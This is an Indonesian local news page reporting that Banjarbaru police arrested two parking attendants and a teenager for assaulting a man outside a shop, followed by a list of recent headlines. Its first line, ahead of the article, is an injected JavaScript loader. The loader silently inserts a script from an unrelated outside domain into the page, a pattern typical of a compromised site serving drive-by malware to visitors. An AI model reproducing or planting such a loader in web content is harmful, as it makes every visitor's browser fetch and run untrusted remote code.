(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: kriminal banjarbaru

Keroyok Korban di Depan Toko, 2 Jukir dan 1 Remaja Diamankan Polres Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Polres Banjarbaru melalui Satreskrim unit Resmob mengamankan tersangka aksi pengeroyokan yang terjadi di wilayah Banjarbaru. Sedikitnya 3 orang diamankan atas kasus ini.

Peristiwa pengeroyokan ini sebenarnya telah terjadi sejak Juli lalu, di depan sebuah tokoh yang berlokasi di Jalan Panglima Batur, Kelurahan Mentaos, Kecamatan Banjarbaru Utara, Banjarbaru.

Aksi pengeroyokan tersebut membuat seorang korban mengalami luka sobek di bagian kepala sebelah kiri dan kanan serta memar di bagian badan dan siku tangan sebelah kiri.

“Kasus ini sudah di laporkan ke kami dan petugas di lapangan melakukan penyelidikan. Baru-baru ini kami berhasil mengamankan para pelaku yang jumlahnya ada tiga orang,” kata Kasubbag Humas Polres Banjarbaru, Iptu Tajudin Noor.

Ketiga pelaku tersebut, dua diantaranya ialah juru parkir yakmi WA (30) warga Kabupaten Banjar dan GI (28) warga Kota Banjarbaru. Lalu, satu pelaku lainnya ialah seorang remaja berinsial HR (17), yang sehari-harinya berkeja sebagai buruh bangunan.

Iptu Tajudin mengatakan bahwa dari pengakuan ketiga pelaku, aksi pengeroyokan kala itu ditenggarai atas kekesalan mereka terhadap korban. Pasalnya, korban kerap kali menantang mereka beradu fisik.

“Menurut keterangan yang kita dapatkan, mereka melakukan pengeroyokan terhadap korban lantaran kesal karena sering diajak berkelahi oleh korban,” jelasnya.

Kendati demikian, atas aksi pengeroyokan tersebut, ketiga pelaku tetap harus menjalani proses hukum lebih lanjut dan diancam dengan Pasal 170 KUHP dengan ancaman hukuman paling lama 5 tahun kurungan penjara. Pengungkapan kasus pengroyokan merupakan perwujudan program Kapolda Kalsel Irjen Pol Dr Nico Afinta yang memerintahkan semua Polres jajaran Polda Kalsel menjaga Harkamtibmas di wilayah hukum masing-masing. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell

Al Ghifari

Recent Posts

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

2 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

3 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

13 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

14 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

14 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

14 jam ago

This website uses cookies.